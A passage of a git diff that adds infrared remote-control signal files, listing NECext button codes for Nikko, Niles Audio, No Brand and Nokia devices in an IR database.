+address: 04 10 00 00 +command: 18 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 19 00 00 00 +# +name: LT +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1D 00 00 00 +# +name: TUN- +type: parsed +protocol: NECext +address: 04 10 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir new file mode 100644 index 000000000..c5a9a7a71 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: AUDIO_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: AUDIO_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir b/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir new file mode 100644 index 000000000..9108c4285 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir @@ -0,0 +1,416 @@ +Filetype: IR signals file +Version: 1 +# +name: ON +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 00 00 00 00 +# +name: ALL +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 01 00 00 00 +# +name: PROCESS +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 02 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 03 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 04 00 00 00 +# +name: BASS_^ +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 05 00 00 00 +# +name: BASS_V +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 06 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 07 00 00 00 +# +name: BAL_<< +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 08 00 00 00 +# +name: FLAT +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 0A 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 0B 00 00 00 +# +name: BAL_>> +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 0C 00 00 00 +# +name: TREB_^ +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 0D 00 00 00 +# +name: TREB_V +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 0E 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 0F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 10 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 11 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 12 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 13 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 14 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 15 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 16 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 17 00 00 00 +# +name: DISC_7 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 18 00 00 00 +# +name: F2 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 19 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 1A 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 1B 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 1C 00 00 00 +# +name: DISC_9 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 1D 00 00 00 +# +name: F4 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 1E 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 1F 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 40 00 00 00 +# +name: C/P_1 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 41 00 00 00 +# +name: C/P_6 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 42 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 43 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 44 00 00 00 +# +name: C/P_2 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 45 00 00 00 +# +name: C/P_7 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 46 00 00 00 +# +name: CUT_<< +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 47 00 00 00 +# +name: C/P_3 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 48 00 00 00 +# +name: C/P_8 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 49 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 4A 00 00 00 +# +name: CUT_>> +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 4B 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 4C 00 00 00 +# +name: C/P_4 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 4D 00 00 00 +# +name: C/P_9 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 4E 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 4F 00 00 00 +# +name: LOCAL +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 50 00 00 00 +# +name: C/P_5 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 51 00 00 00 +# +name: C/P_10 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 52 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 53 00 00 00 +# +name: F1 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 54 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 55 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 56 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 57 00 00 00 +# +name: DISC_8 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 58 00 00 00 +# +name: F3 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 59 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 5A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 5B 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 5C 00 00 00 +# +name: DISC_10 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 5D 00 00 00 +# +name: F5 +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 5E 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: 5F 00 00 00 +# +name: SPEAKER_ON/OFF +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: C7 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: CB 00 00 00 +# +name: ALL_SPEAKERS_OFF +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: D3 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: D7 00 00 00 +# +name: ALL_SPEAKERS_ON +type: parsed +protocol: NECext +address: 80 5D 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir b/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir new file mode 100644 index 000000000..2ad373e5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: SPKR_2 +type: parsed +protocol: NECext +address: 84 12 00 00 +command: C6 00 00 00 +# +name: SPKR_1 +type: parsed +protocol: NECext +address: 84 12 00 00 +command: C7 00 00 00 +# +name: SPKR_4 +type: parsed +protocol: NECext +address: 84 12 00 00 +command: CA 00 00 00 +# +name: SPKR_3 +type: parsed +protocol: NECext +address: 84 12 00 00 +command: CB 00 00 00 +# +name: SPKR_6 +type: parsed +protocol: NECext +address: 84 12 00 00 +command: CE 00 00 00 +# +name: SPKR_5 +type: parsed +protocol: NECext +address: 84 12 00 00 +command: CF 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 84 12 00 00 +command: D6 00 00 00 +# +name: ALL_ON +type: parsed +protocol: NECext +address: 84 12 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir new file mode 100644 index 000000000..d3ad1cad9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_EQUAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir new file mode 100644 index 000000000..a4ca8e8c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/24,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir new file mode 100644 index 000000000..33400f90e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Satellite/6,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: TV-SAT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir new file mode 100644 index 000000000..290597f75 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 09 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 0C 00 00 00 +# +name: up +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 0E 00 00 00 +# +name: down +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 0F 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 28 00 00 00 +# +name: IDEAL +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 29 00 00 00 +# +name: last +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 2A 00 00 00 +# +name: info +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 2D 00 00 00 +# +name: right +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 2E 00 00 00 +# +name: left +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 2F 00 00 00 +# +name: text +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 33 00 00 00 +# +name: stop +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 35 00 00 00 +# +name: size +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 38 00 00 00 +# +name: ok_red +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3C 00 00 00 +# +name: sound_green +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3D 00 00 00 +# +name: vision_yellow +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3E 00 00 00 +# +name: menu_blue +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 3F 00 00 00 +# +name: tv +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 70 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir new file mode 100644 index 000000000..84579b6ea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: ZERO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: ONE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: TWO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: THREE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: FOUR +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: FIVE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: SIX +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: SEVEN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: EIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: NINE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: PWR +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 23 00 00 00 +# +name: PROG+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: PROG- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3C 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3F 00 00 00 +# +name: PGUP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 4D 00 00 00 +# +name: PGDN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 4E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 50 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 52 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 53 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 55 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 56 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 57 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 5A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 62 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 64 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 67 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir new file mode 100644 index 000000000..5b92cf8da --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: P- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: FUP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 4D 00 00 00 +# +name: FDOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 4E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 50 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 52 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 55 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 56 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 57 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 5A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 62 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 67 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir new file mode 100644 index 000000000..22ffabdcb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 11 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 16 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 2F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 30 00 00 00 +# +name: VT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 8C 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 98 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir new file mode 100644 index 000000000..9a733d4ab --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 09 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 0C 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 0E 00 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 0F 00 00 00 +# +name: Volume+ +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 16 00 00 00 +# +name: Volume- +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 17 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 22 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 23 00 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 28 00 00 00 +# +name: Info +type: parsed +protocol: NECext +address: 4A 00 00 00 +command: 2D 00 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 4A 00 00 